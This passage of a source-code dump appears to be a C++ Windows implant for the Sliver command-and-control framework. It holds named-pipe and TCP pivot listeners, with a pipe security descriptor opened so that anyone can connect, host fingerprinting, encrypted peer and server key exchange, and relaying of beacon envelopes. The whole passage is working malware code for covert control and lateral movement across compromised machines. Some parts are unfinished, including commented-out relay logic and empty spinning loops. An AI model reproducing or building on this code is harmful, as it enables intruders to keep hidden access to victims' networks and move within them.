(!InitializeAcl(SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS)) 59 | { 60 | printf("InitializeAcl failed: %u\n", GetLastError()); 61 | } 62 | 63 | if (!AddMandatoryAce(SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow)) 64 | { 65 | printf("AddMandatoryAce failed: %u\n", GetLastError()); 66 | } 67 | 68 | // now build the descriptor 69 | SmbSecAttr->SecDec = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SECURITY_DESCRIPTOR_MIN_LENGTH); 70 | if (!InitializeSecurityDescriptor(SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION)) 71 | { 72 | printf("InitializeSecurityDescriptor failed: %u\n", GetLastError()); 73 | } 74 | 75 | if (!SetSecurityDescriptorDacl(SmbSecAttr->SecDec, TRUE, DAcl, FALSE)) 76 | { 77 | printf("SetSecurityDescriptorDacl failed: %u\n", GetLastError()); 78 | } 79 | 80 | if (!SetSecurityDescriptorSacl(SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE)) 81 | { 82 | printf("SetSecurityDescriptorSacl failed: %u\n", GetLastError()); 83 | } 84 | 85 | SecurityAttr->lpSecurityDescriptor = SmbSecAttr->SecDec; 86 | SecurityAttr->bInheritHandle = FALSE; 87 | SecurityAttr->nLength = sizeof(SECURITY_ATTRIBUTES); 88 | } 89 | 90 | VOID SmbSecurityAttrFree(PSMB_PIPE_SEC_ATTR SmbSecAttr) 91 | { 92 | if (SmbSecAttr->Sid) 93 | { 94 | FreeSid(SmbSecAttr->Sid); 95 | SmbSecAttr->Sid = NULL; 96 | } 97 | 98 | if (SmbSecAttr->SidLow) 99 | { 100 | FreeSid(SmbSecAttr->SidLow); 101 | SmbSecAttr->SidLow = NULL; 102 | } 103 | 104 | if (SmbSecAttr->SAcl) 105 | { 106 | HeapFree(GetProcessHeap(),0,SmbSecAttr->SAcl); 107 | SmbSecAttr->SAcl = NULL; 108 | } 109 | 110 | if (SmbSecAttr->SecDec) 111 | { 112 | HeapFree(GetProcessHeap(), 0,SmbSecAttr->SecDec); 113 | SmbSecAttr->SecDec = NULL; 114 | } 115 | } 116 | NamedPipeListener::NamedPipeListener(string _pipe_name) : pipe_name(_pipe_name){} 117 | shared_ptr NamedPipeListener::Accept() { 118 | 119 | SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 }; 120 | SECURITY_ATTRIBUTES SecurityAttr = { 0 }; 121 | SECURITY_ATTRIBUTES SecurityAttr2 = { 0 }; 122 | /* Setup attributes to allow "anyone" to connect to our pipe */ 123 | SmbSecurityAttrOpen(&SmbSecAttr, &SecurityAttr); 124 | 125 | string tmp = this->pipe_name; 126 | /*string stdstring{ "D:(A;;0x1f019f;;;WD)" }; 127 | PSECURITY_DESCRIPTOR psd; 128 | ULONG sizesd = 0; 129 | if (!ConvertStringSecurityDescriptorToSecurityDescriptorA(stdstring.c_str(), SDDL_REVISION_1, &psd, &sizesd)) { 130 | #ifdef DEBUG 131 | int error = GetLastError(); 132 | std::cout << std::format("ConvertStringSecurityDescriptorToSecurityDescriptorA failed with error {}",error) << std::endl; 133 | #endif 134 | } 135 | SECURITY_ATTRIBUTES sa = { 0 }; 136 | sa.lpSecurityDescriptor = psd; 137 | sa.nLength = sizeof sa;*/ 138 | /*sa.bInheritHandle = FALSE;*/ 139 | SMB_PIPE_SEC_ATTR smbsecattr = { 0 }; 140 | SECURITY_ATTRIBUTES sa = { 0 }; 141 | SmbSecurityAttrOpen(&smbsecattr, &sa); 142 | this->temp_pipeRead = CreateNamedPipeA( 143 | tmp.append(string{"_readserver"}).c_str(), // pipe name 144 | PIPE_ACCESS_DUPLEX, // read/write access 145 | PIPE_TYPE_BYTE | // message type pipe 146 | PIPE_READMODE_BYTE | // message-read mode 147 | PIPE_WAIT | PIPE_ACCEPT_REMOTE_CLIENTS, // blocking mode 148 | PIPE_UNLIMITED_INSTANCES, // max. instances 149 | BUFSIZE, // output buffer size 150 | BUFSIZE, // input buffer size 151 | 0, // client time-out 152 | &sa); 153 | tmp = this->pipe_name; 154 | this->temp_pipeWrite = CreateNamedPipeA( 155 | tmp.append(string{ "_writeserver" }).c_str(), // pipe name 156 | PIPE_ACCESS_DUPLEX, // read/write access 157 | PIPE_TYPE_BYTE | // message type pipe 158 | PIPE_READMODE_BYTE | // message-read mode 159 | PIPE_WAIT | PIPE_ACCEPT_REMOTE_CLIENTS, // blocking mode 160 | PIPE_UNLIMITED_INSTANCES, // max. instances 161 | BUFSIZE, // output buffer size 162 | BUFSIZE, // input buffer size 163 | 0, // client time-out 164 | &sa); 165 | SmbSecurityAttrFree(&smbsecattr); 166 | if (ConnectNamedPipe(this->temp_pipeRead, NULL) && ConnectNamedPipe(this->temp_pipeWrite,NULL)) { 167 | shared_ptr conn = make_shared(this->temp_pipeRead, this->temp_pipeWrite); 168 | this->temp_pipeRead = INVALID_HANDLE_VALUE; 169 | this->temp_pipeWrite = INVALID_HANDLE_VALUE; 170 | return conn; 171 | } 172 | return nullptr; 173 | } 174 | bool NamedPipeListener::Stop() { 175 | auto res = CancelIoEx(this->temp_pipeRead, NULL); 176 | res = CancelIoEx(this->temp_pipeWrite, NULL); 177 | return true; 178 | } 179 | void NamedPipeListener::Clean() { 180 | DisconnectNamedPipe(this->temp_pipeRead); 181 | DisconnectNamedPipe(this->temp_pipeWrite); 182 | CloseHandle(this->temp_pipeRead); 183 | CloseHandle(this->temp_pipeWrite); 184 | this->temp_pipeRead = INVALID_HANDLE_VALUE; 185 | this->temp_pipeWrite = INVALID_HANDLE_VALUE; 186 | } 187 | } -------------------------------------------------------------------------------- /src/Os.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Os.h" 3 | 4 | namespace os { 5 | string GetOSVersion() { 6 | return string{ "windows" }; 7 | } 8 | 9 | string GetHostName() { 10 | char buf[100] = { 0 }; 11 | DWORD size; 12 | GetComputerNameExA(ComputerNamePhysicalDnsHostname, buf, &size); 13 | string str{ buf }; 14 | return str; 15 | } 16 | 17 | string GetExecutableName() { 18 | char buf[100] = { 0 }; 19 | DWORD size; 20 | GetModuleFileNameA(0, buf, 100); 21 | string str { 22 | buf 23 | }; 24 | return str; 25 | } 26 | 27 | string GetUserDefaultLocaleNameString() { 28 | wchar_t buf[LOCALE_NAME_MAX_LENGTH] = { 0 }; 29 | GetUserDefaultLocaleName(buf, LOCALE_NAME_MAX_LENGTH); 30 | string str{(char*)buf, LOCALE_NAME_MAX_LENGTH }; 31 | return str; 32 | } 33 | } -------------------------------------------------------------------------------- /src/Pivots.cpp: -------------------------------------------------------------------------------- 1 | #include "pivots.h" 2 | #include 3 | #include 4 | #include 5 | #include "constants.h" 6 | using namespace std; 7 | 8 | namespace pivots { 9 | static uint64_t MyPeerID = 0; 10 | static bool generated = false; 11 | uint64_t generatePeerID() { 12 | if (generated == true) { 13 | return MyPeerID; 14 | } 15 | unsigned char buf[8]; 16 | randombytes_buf(buf, 8); 17 | uint64_t id = *((uint64_t*)&buf[0]); 18 | MyPeerID = id; 19 | generated = true; 20 | return id; 21 | } 22 | 23 | uint64_t getPeerID() { 24 | return MyPeerID; 25 | } 26 | PivotListener::PivotListener(uint32_t _id, sliverpb::PivotType _type,unique_ptr& _ln, const string& _bindAddress, shared_ptr _beacon) : id(_id), bindAddress(_bindAddress), type(_type) { 27 | this->beacon = _beacon; 28 | this->ln = std::move(_ln); 29 | this->stop = false; 30 | } 31 | void PivotListener::StartListening(shared_ptr b) { 32 | std::thread t1{ 33 | [&] { 34 | while (1) { 35 | if (stop) { 36 | return; 37 | } 38 | auto conn = this->ln->Accept(); 39 | if (conn != nullptr){ 40 | conn->peerKeyExchange(); 41 | conn->beacon = this->beacon; 42 | //this->connections.insert(std::pair(conn->downstreamPeerID, conn)); 43 | std::unique_lock lk{ this->connections_mutex }; 44 | this->connections[conn->downstreamPeerID] = conn; 45 | conn->Start(); 46 | } 47 | } 48 | } 49 | }; 50 | this->listener_thread = std::move(t1); 51 | } 52 | unique_ptr> PivotListener::GetNetConnPivots() { 53 | auto pivots = make_unique>(); 54 | for (auto it = this->connections.begin();it != this->connections.end();++it) { 55 | sliverpb::NetConnPivot p; 56 | p.set_peerid(it->second->downstreamPeerID); 57 | p.set_remoteaddress(this->bindAddress); 58 | pivots->push_back(p); 59 | } 60 | return pivots; 61 | } 62 | void PivotListener::StopListening() { 63 | stop = true; 64 | this->ln->Stop(); 65 | listener_thread.join(); 66 | this->ln->Clean(); 67 | std::unique_lock lk{ this->connections_mutex }; 68 | for (auto it = this->connections.begin();it != this->connections.end();++it) { 69 | it->second->Stop(); 70 | } 71 | } 72 | void PivotListener::StartListening() { 73 | std::thread t1{ 74 | [&] { 75 | while (1) { 76 | auto conn = this->ln->Accept(); 77 | if (conn->peerKeyExchange()) { 78 | //conn->upstream = this->upstream; 79 | this->connections.insert(std::pair(conn->downstreamPeerID, conn)); 80 | conn->Start(); 81 | } 82 | } 83 | } 84 | }; 85 | t1.detach(); 86 | } 87 | void PivotListener::Accept() { 88 | auto conn = this->ln->Accept(); 89 | conn->peerKeyExchange(); 90 | //conn->upstream = this->upstream; 91 | this->connections.insert(std::pair(conn->downstreamPeerID, conn)); 92 | } 93 | void StartConnection(shared_ptr conn) { 94 | std::thread t1{ 95 | [conn] { 96 | while (1) { 97 | auto env = conn->ReadEnvelope(); 98 | if (env.type() == sliverpb::MsgPivotPeerEnvelope) { 99 | sliverpb::PivotPeerEnvelope peer_env; 100 | peer_env.ParseFromString(env.data()); 101 | auto peers = peer_env.peers(); 102 | sliverpb::PivotPeer p; 103 | p.set_name("DAMP_BOW"); 104 | p.set_peerid(pivots::getPeerID()); 105 | peers.Add(std::move(p)); 106 | peer_env.add_peers(); 107 | string serialized; 108 | peer_env.SerializeToString(&serialized); 109 | env.set_data(serialized); 110 | //conn->upstream->push(std::move(env)); 111 | } 112 | } 113 | } 114 | }; 115 | t1.detach(); 116 | std::thread t2{ 117 | [conn] { 118 | while (1) { 119 | sliverpb::Envelope env; 120 | /*if (conn->downstream->try_pop(env)) { 121 | conn->WriteEnvelope(env); 122 | }*/ 123 | } 124 | } 125 | }; 126 | t2.detach(); 127 | } 128 | void StartListener(shared_ptr listener) { 129 | std::thread t1{ 130 | [listener] { 131 | while (1) { 132 | auto conn = listener->ln->Accept(); 133 | conn->peerKeyExchange(); 134 | //conn->upstream = listener->upstream; 135 | listener->connections.insert(std::pair(conn->downstreamPeerID, conn)); 136 | StartConnection(conn); 137 | } 138 | } 139 | }; 140 | t1.detach(); 141 | } 142 | uint64_t findNextPeerID(const sliverpb::PivotPeerEnvelope& env) { 143 | auto peers = env.peers(); 144 | for (auto it = peers.begin(); it != peers.end();++it) { 145 | auto a = it->peerid(); 146 | #ifdef DEBUG 147 | cout << "my peer id: " << MyPeerID << endl << "it->peerid: " << it->peerid() << endl; 148 | #endif 149 | if (it->peerid() == MyPeerID && it != peers.begin()) { 150 | return (it - 1)->peerid(); 151 | } 152 | } 153 | return 0; 154 | } 155 | } -------------------------------------------------------------------------------- /src/TCPClient.cpp: -------------------------------------------------------------------------------- 1 | #if defined(PIVOT) && defined(TCPPIVOT) 2 | #define WIN32_LEAN_AND_MEAN 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "Client.h" 10 | #include "pivots.h" 11 | #include "CryptoUtils.h" 12 | #include "constants.h" 13 | #include 14 | 15 | using namespace std; 16 | 17 | namespace transports { 18 | 19 | TCPClient::TCPClient(const string& _bind_address) : bind_address(_bind_address){ 20 | bind_address = regex_replace(bind_address, std::regex("tcppivot://"), ""); 21 | WSADATA wsaData; 22 | this->connect_socket = INVALID_SOCKET; 23 | this->addr_info = NULL; 24 | struct addrinfo hints; 25 | int iResult; 26 | 27 | // Initialize Winsock 28 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 29 | if (iResult != 0) { 30 | printf("WSAStartup failed with error: %d\n", iResult); 31 | return; 32 | } 33 | 34 | ZeroMemory(&hints, sizeof(hints)); 35 | hints.ai_family = AF_UNSPEC; 36 | hints.ai_socktype = SOCK_STREAM; 37 | hints.ai_protocol = IPPROTO_TCP; 38 | auto hostname = bind_address.substr(0, bind_address.find(":")); 39 | auto port = bind_address.substr(bind_address.find(":") + 1, bind_address.size() - 1); 40 | 41 | // Resolve the server address and port 42 | iResult = getaddrinfo(hostname.c_str(), port.c_str(), &hints, &this->addr_info); 43 | if (iResult != 0) { 44 | printf("getaddrinfo failed with error: %d\n", iResult); 45 | WSACleanup(); 46 | return; 47 | } 48 | this->connect_socket = socket(this->addr_info->ai_family, this->addr_info->ai_socktype, 49 | this->addr_info->ai_protocol); 50 | int recvbufsize = 0x10000; 51 | int sendbufsize = 0x10000; 52 | setsockopt(this->connect_socket, SOL_SOCKET, SO_RCVBUF, (char*)&recvbufsize, sizeof(int)); 53 | setsockopt(this->connect_socket, SOL_SOCKET, SO_SNDBUF, (char*)&sendbufsize, sizeof(int)); 54 | if (this->connect_socket == INVALID_SOCKET) { 55 | printf("socket failed with error: %ld\n", WSAGetLastError()); 56 | WSACleanup(); 57 | return; 58 | } 59 | 60 | } 61 | 62 | bool TCPClient::SessionInit() { 63 | if (this->connect_socket != INVALID_SOCKET) { 64 | closesocket(this->connect_socket); 65 | } 66 | this->connect_socket = socket(this->addr_info->ai_family, this->addr_info->ai_socktype, 67 | this->addr_info->ai_protocol); 68 | if (this->connect_socket == INVALID_SOCKET) { 69 | printf("socket failed with error: %ld\n", WSAGetLastError()); 70 | return false; 71 | } 72 | auto iResult = connect(this->connect_socket, this->addr_info->ai_addr, (int)(this->addr_info->ai_addrlen)); 73 | if (iResult == SOCKET_ERROR) { 74 | return false; 75 | } 76 | 77 | auto id = pivots::generatePeerID(); 78 | //peer key exchange 79 | sliverpb::PivotHello req; 80 | req.set_peerid(id); 81 | string serialized; 82 | req.SerializeToString(&serialized); 83 | this->write(serialized); 84 | auto received = this->read(); 85 | sliverpb::PivotHello resp; 86 | resp.ParseFromString(received); 87 | this->peer_ctx.SetKey(resp.sessionkey()); 88 | 89 | //server key exchange 90 | auto key = crypto::RandomKey(); 91 | this->server_ctx.SetKey(key); 92 | auto enc = crypto::ECCEncryptToServer(key); 93 | sliverpb::PivotServerKeyExchange server_req; 94 | server_req.set_sessionkey(enc); 95 | server_req.set_originid(pivots::generatePeerID()); 96 | string server_req_serialized; 97 | server_req.SerializeToString(&server_req_serialized); 98 | sliverpb::PivotPeerEnvelope peer_env; 99 | peer_env.set_type(sliverpb::MsgPivotServerKeyExchange); 100 | peer_env.set_data(server_req_serialized); 101 | auto p = peer_env.add_peers(); 102 | p->set_name("PIVOT_PEER"); 103 | p->set_peerid(pivots::getPeerID()); 104 | string serialized_pivotpeerenvelope; 105 | peer_env.SerializeToString(&serialized_pivotpeerenvelope); 106 | sliverpb::Envelope serverkeyex_envelope; 107 | serverkeyex_envelope.set_data(serialized_pivotpeerenvelope); 108 | serverkeyex_envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 109 | string final_serialized; 110 | serverkeyex_envelope.SerializeToString(&final_serialized); 111 | auto enc2 = this->peer_ctx.Encrypt(final_serialized); 112 | this->write(enc2); 113 | auto resp_from_server = this->ReadEnvelopeBlocking(); 114 | sliverpb::PivotServerKeyExchange keyex_resp; 115 | keyex_resp.ParseFromString(resp_from_server->data()); 116 | this->pivotSessionID = keyex_resp.sessionkey(); 117 | return true; 118 | } 119 | 120 | string TCPClient::read() { 121 | fd_set fds; 122 | FD_ZERO(&fds); 123 | FD_SET(this->connect_socket, &fds); 124 | auto ret = select(0, &fds, NULL, NULL, NULL); 125 | if (ret) { 126 | int res = 0; 127 | SIZE_T len = 0; 128 | res = recv(this->connect_socket, (char*)&len, sizeof(SIZE_T), 0); 129 | if (res == 0 || res == SOCKET_ERROR) { 130 | throw exception("read failed"); 131 | } 132 | std::string out; 133 | out.resize(len); 134 | res = recv(this->connect_socket, (char*)out.c_str(), len, 0); 135 | if (res == 0 || res == SOCKET_ERROR) { 136 | throw exception("read failed"); 137 | } 138 | return out; 139 | } 140 | else { 141 | throw exception("read failed"); 142 | } 143 | } 144 | 145 | bool TCPClient::write(const string& in) { 146 | DWORD written = 0; 147 | fd_set fds; 148 | FD_ZERO(&fds); 149 | FD_SET(this->connect_socket, &fds); 150 | auto ret = select(0, NULL, &fds, NULL, NULL); 151 | if (ret) { 152 | SIZE_T len = in.size(); 153 | written = send(this->connect_socket, (char*)&len, sizeof len, 0); 154 | if (written != sizeof len) 155 | throw exception("send failed"); 156 | written = send(this->connect_socket, (char*)in.c_str(), len, 0); 157 | if (written != len) 158 | throw exception("send failed"); 159 | return true; 160 | } 161 | throw exception("send failed"); 162 | } 163 | 164 | bool TCPClient::WriteAndReceive(const sliverpb::Envelope& to_send, sliverpb::Envelope& recv) { 165 | unique_lock lk{ pollMutex }; 166 | sliverpb::Envelope env = to_send; 167 | if (this->WriteEnvelope(env)) { 168 | auto resp = this->ReadEnvelopeBlocking(); 169 | if (resp != nullptr) { 170 | recv = *(resp.get()); 171 | return true; 172 | } 173 | } 174 | return false; 175 | } 176 | unique_ptr TCPClient::ReadEnvelopeBlocking() { 177 | auto data = this->read(); 178 | auto plain = this->peer_ctx.Decrypt(data); 179 | unique_ptr incomingEnvelope = make_unique(); 180 | incomingEnvelope->ParseFromString(plain); 181 | if (incomingEnvelope->type() != sliverpb::MsgPivotPeerEnvelope) { 182 | return nullptr; 183 | } 184 | auto peerEnv = make_unique(); 185 | peerEnv->ParseFromString(incomingEnvelope->data()); 186 | if (peerEnv->peers()[0].peerid() != pivots::getPeerID()) { 187 | return incomingEnvelope; 188 | } 189 | plain = this->server_ctx.Decrypt(peerEnv->data()); 190 | unique_ptr env = make_unique(); 191 | env->ParseFromString(plain); 192 | return env; 193 | } 194 | unique_ptr TCPClient::ReadEnvelope() { 195 | if (!this->Check()) { 196 | return nullptr; 197 | } 198 | auto data = this->read(); 199 | auto plain = this->peer_ctx.Decrypt(data); 200 | unique_ptr incomingEnvelope = make_unique(); 201 | incomingEnvelope->ParseFromString(plain); 202 | if (incomingEnvelope->type() != sliverpb::MsgPivotPeerEnvelope) { 203 | return nullptr; 204 | } 205 | auto peerEnv = make_unique(); 206 | peerEnv->ParseFromString(incomingEnvelope->data()); 207 | if (peerEnv->peers()[0].peerid() != pivots::getPeerID()) { 208 | return incomingEnvelope; 209 | } 210 | plain = this->server_ctx.Decrypt(peerEnv->data()); 211 | unique_ptr env = make_unique(); 212 | env->ParseFromString(plain); 213 | return env; 214 | } 215 | bool TCPClient::Check() { 216 | return true; 217 | } 218 | bool TCPClient::WriteEnvelope_nolock(sliverpb::Envelope& env) { 219 | string serialized; 220 | env.SerializeToString(&serialized); 221 | string finalSerialized; 222 | if (env.type() != sliverpb::MsgPivotPeerEnvelope) { 223 | auto enc = this->server_ctx.Encrypt(serialized); 224 | sliverpb::PivotPeerEnvelope peerEnv; 225 | peerEnv.set_pivotsessionid(this->pivotSessionID); 226 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 227 | peerEnv.set_data(enc); 228 | auto p = peerEnv.add_peers(); 229 | p->set_name("PIVOT_PEER"); 230 | p->set_peerid(pivots::getPeerID()); 231 | string serialized_peerEnv; 232 | peerEnv.SerializeToString(&serialized_peerEnv); 233 | sliverpb::Envelope envelope; 234 | envelope.set_data(serialized_peerEnv); 235 | envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 236 | 237 | envelope.SerializeToString(&finalSerialized); 238 | } 239 | else { 240 | finalSerialized = serialized; 241 | } 242 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 243 | return this->write(enc); 244 | } 245 | 246 | 247 | bool TCPClient::WriteEnvelope(sliverpb::Envelope& env) { 248 | string serialized; 249 | env.SerializeToString(&serialized); 250 | string finalSerialized; 251 | if (env.type() != sliverpb::MsgPivotPeerEnvelope && env.type() != sliverpb::MsgPivotPeerEnvelopeNoResponse) { 252 | auto enc = this->server_ctx.Encrypt(serialized); 253 | sliverpb::PivotPeerEnvelope peerEnv; 254 | peerEnv.set_pivotsessionid(this->pivotSessionID); 255 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 256 | peerEnv.set_data(enc); 257 | auto p = peerEnv.add_peers(); 258 | p->set_name("PIVOT_PEER"); 259 | p->set_peerid(pivots::getPeerID()); 260 | string serialized_peerEnv; 261 | peerEnv.SerializeToString(&serialized_peerEnv); 262 | sliverpb::Envelope envelope; 263 | envelope.set_data(serialized_peerEnv); 264 | envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 265 | envelope.SerializeToString(&finalSerialized); 266 | } 267 | else { 268 | finalSerialized = serialized; 269 | } 270 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 271 | return this->write(enc); 272 | } 273 | 274 | bool TCPClient::WriteEnvelopeNoResp(sliverpb::Envelope& env) { 275 | unique_lock lk{ pollMutex }; 276 | string serialized; 277 | env.SerializeToString(&serialized); 278 | string finalSerialized; 279 | if (env.type() != sliverpb::MsgPivotPeerEnvelope && env.type() != sliverpb::MsgPivotPeerEnvelopeNoResponse) { 280 | auto enc = this->server_ctx.Encrypt(serialized); 281 | sliverpb::PivotPeerEnvelope peerEnv; 282 | peerEnv.set_pivotsessionid(this->pivotSessionID); 283 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 284 | peerEnv.set_data(enc); 285 | auto p = peerEnv.add_peers(); 286 | p->set_name("PIVOT_PEER"); 287 | p->set_peerid(pivots::getPeerID()); 288 | string serialized_peerEnv; 289 | peerEnv.SerializeToString(&serialized_peerEnv); 290 | sliverpb::Envelope envelope; 291 | envelope.set_data(serialized_peerEnv); 292 | envelope.set_type(sliverpb::MsgPivotPeerEnvelopeNoResponse); 293 | envelope.SerializeToString(&finalSerialized); 294 | } 295 | else { 296 | finalSerialized = serialized; 297 | } 298 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 299 | return this->write(enc); 300 | } 301 | } 302 | 303 | 304 | #endif -------------------------------------------------------------------------------- /src/TCPConn.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "PivotConn.h" 9 | #include "CryptoUtils.h" 10 | #include "sliver.pb.h" 11 | #include "constants.h" 12 | #include "pivots.h" 13 | extern string instanceID; 14 | 15 | namespace pivots { 16 | TCPConn::TCPConn(SOCKET _client_socket) : client_socket(_client_socket) { 17 | } 18 | bool TCPConn::Check() { 19 | return true; 20 | } 21 | TCPConn::~TCPConn() { 22 | if (t.joinable()) 23 | t.join(); 24 | } 25 | void TCPConn::Stop() { 26 | this->stop = true; 27 | if (t.joinable()) 28 | t.join(); 29 | } 30 | void TCPConn::Start() { 31 | std::thread t1{ 32 | [&] { 33 | while (1) { 34 | if (stop) { 35 | closesocket(this->client_socket); 36 | return; 37 | } 38 | try { 39 | auto env = ReadEnvelope(); 40 | if (env.type() == sliverpb::MsgPivotPeerEnvelope || env.type() == sliverpb::MsgPivotPeerEnvelopeNoResponse) { 41 | sliverpb::PivotPeerEnvelope peer_env; 42 | peer_env.ParseFromString(env.data()); 43 | auto peers = peer_env.peers(); 44 | for (auto it = peers.begin();it != peers.end();++it) { 45 | auto a = it->peerid(); 46 | } 47 | auto p = peer_env.add_peers(); 48 | auto temp = instanceID; 49 | temp.resize(8); 50 | p->set_name(temp); 51 | p->set_peerid(pivots::getPeerID()); 52 | for (auto it = peers.begin();it != peers.end();++it) { 53 | auto a = it->peerid(); 54 | } 55 | string serialized; 56 | peer_env.SerializeToString(&serialized); 57 | env.set_data(serialized); 58 | sliverpb::Envelope resp; 59 | if (env.type() == sliverpb::MsgPivotPeerEnvelope) { 60 | if (beacon->BeaconRecv(env, resp)) { 61 | WriteEnvelope(resp); 62 | } 63 | else { 64 | throw exception("BeaconRecv returned false"); 65 | } 66 | } 67 | else if (env.type() == sliverpb::MsgPivotPeerEnvelopeNoResponse) { 68 | if (!beacon->BeaconSend(env)) 69 | throw exception("BeaconSend returned false"); 70 | } 71 | } 72 | } 73 | catch(exception &e){ 74 | #ifdef DEBUG 75 | cout << std::format("TCP Conn catched exception: {}", e.what()) << endl; 76 | #endif 77 | stop = true; 78 | } 79 | } 80 | } 81 | }; 82 | this->t = std::move(t1); 83 | } 84 | sliverpb::Envelope TCPConn::ReadEnvelope() { 85 | auto data = read(); 86 | auto plain = ctx.Decrypt(data); 87 | sliverpb::Envelope env; 88 | env.ParseFromString(plain); 89 | return env; 90 | } 91 | 92 | bool TCPConn::WriteEnvelope(const sliverpb::Envelope& env) { 93 | string serialized; 94 | env.SerializeToString(&serialized); 95 | auto enc = this->ctx.Encrypt(serialized); 96 | return this->write(enc); 97 | } 98 | 99 | string TCPConn::read() { 100 | int res = 0; 101 | fd_set fds; 102 | FD_ZERO(&fds); 103 | FD_SET(this->client_socket, &fds); 104 | auto ret = select(0, &fds, NULL, &fds, NULL); 105 | if (ret) { 106 | SIZE_T len = 0; 107 | res = recv(this->client_socket, (char*)&len, sizeof(SIZE_T), 0); 108 | if (res == 0 || res == SOCKET_ERROR) { 109 | throw exception{ std::format("recv failed with error {}",GetLastError()).c_str() }; 110 | } 111 | std::string out; 112 | out.resize(len); 113 | res = recv(this->client_socket, (char*)out.c_str(), len, 0); 114 | if (res == 0 || res == SOCKET_ERROR) { 115 | throw exception{ std::format("recv failed with error {}",GetLastError()).c_str() }; 116 | } 117 | return out; 118 | } 119 | throw exception{ std::format("select failed with error {}",GetLastError()).c_str() }; 120 | } 121 | 122 | bool TCPConn::write(const string& in) { 123 | DWORD written = 0; 124 | fd_set fds; 125 | FD_ZERO(&fds); 126 | FD_SET(this->client_socket, &fds); 127 | auto ret = select(0, NULL, &fds, &fds, NULL); 128 | if (ret) { 129 | SIZE_T len = in.size(); 130 | written = send(this->client_socket, (char*)&len, sizeof len, 0); 131 | if (written != sizeof len) 132 | throw exception{ std::format("send failed with error {}",GetLastError()).c_str() }; 133 | written = send(this->client_socket, (char*)in.c_str(), len, 0); 134 | if (written != len) 135 | throw exception{ std::format("send failed with error {}",GetLastError()).c_str() }; 136 | return true; 137 | } 138 | throw exception{ std::format("select failed with error {}",GetLastError()).c_str() }; 139 | } 140 | bool TCPConn::peerKeyExchange() { 141 | try { 142 | auto s = this->read(); 143 | sliverpb::PivotHello hello; 144 | hello.ParseFromString(s); 145 | this->downstreamPeerID = hello.peerid(); 146 | auto key = crypto::RandomKey(); 147 | this->ctx.SetKey(key); 148 | sliverpb::PivotHello resp; 149 | resp.set_sessionkey(key); 150 | string serialized_resp; 151 | resp.SerializeToString(&serialized_resp); 152 | this->write(serialized_resp); 153 | return true; 154 | } 155 | catch (exception& e) { 156 | return false; 157 | } 158 | } 159 | } -------------------------------------------------------------------------------- /src/TCPListener.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "listeners.h" 9 | 10 | namespace pivots { 11 | TCPListener::TCPListener(const std::string& _bind_address) : bind_address(_bind_address) { 12 | WSADATA wsaData; 13 | int iResult; 14 | 15 | this->listen_socket = INVALID_SOCKET; 16 | 17 | struct addrinfo* result = NULL; 18 | struct addrinfo hints; 19 | 20 | int iSendResult; 21 | 22 | // Initialize Winsock 23 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 24 | if (iResult != 0) { 25 | printf("WSAStartup failed with error: %d\n", iResult); 26 | return; 27 | } 28 | 29 | ZeroMemory(&hints, sizeof(hints)); 30 | hints.ai_family = AF_INET; 31 | hints.ai_socktype = SOCK_STREAM; 32 | hints.ai_protocol = IPPROTO_TCP; 33 | hints.ai_flags = AI_PASSIVE; 34 | auto hostname = bind_address.substr(0, bind_address.find(":")); 35 | auto port = bind_address.substr(bind_address.find(":")+1,bind_address.size()-1); 36 | // Resolve the server address and port 37 | iResult = getaddrinfo(NULL, port.c_str(), &hints, &result); 38 | if (iResult != 0) { 39 | printf("getaddrinfo failed with error: %d\n", iResult); 40 | return; 41 | } 42 | 43 | // Create a SOCKET for the server to listen for client connections. 44 | this->listen_socket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); 45 | if (listen_socket == INVALID_SOCKET) { 46 | printf("socket failed with error: %ld\n", WSAGetLastError()); 47 | freeaddrinfo(result); 48 | this->listen_socket = INVALID_SOCKET; 49 | return; 50 | } 51 | 52 | // Setup the TCP listening socket 53 | iResult = ::bind(this->listen_socket, result->ai_addr, (int)result->ai_addrlen); 54 | if (iResult == SOCKET_ERROR) { 55 | printf("bind failed with error: %d\n", WSAGetLastError()); 56 | freeaddrinfo(result); 57 | closesocket(listen_socket); 58 | this->listen_socket = INVALID_SOCKET; 59 | return; 60 | } 61 | freeaddrinfo(result); 62 | 63 | iResult = listen(this->listen_socket, SOMAXCONN); 64 | if (iResult == SOCKET_ERROR) { 65 | printf("listen failed with error: %d\n", WSAGetLastError()); 66 | closesocket(this->listen_socket); 67 | this->listen_socket = INVALID_SOCKET; 68 | return; 69 | } 70 | } 71 | shared_ptr TCPListener::Accept() { 72 | auto client_socket = accept(this->listen_socket, NULL, NULL); 73 | int recvbufsize = 0x10000; 74 | int sendbufsize = 0x10000; 75 | setsockopt(client_socket, SOL_SOCKET, SO_RCVBUF, (char*)&recvbufsize, sizeof(int)); 76 | setsockopt(client_socket, SOL_SOCKET, SO_SNDBUF, (char*)&sendbufsize, sizeof(int)); 77 | if (client_socket == INVALID_SOCKET) { 78 | printf("accept failed with error: %d\n", WSAGetLastError()); 79 | return nullptr; 80 | } 81 | shared_ptr conn = 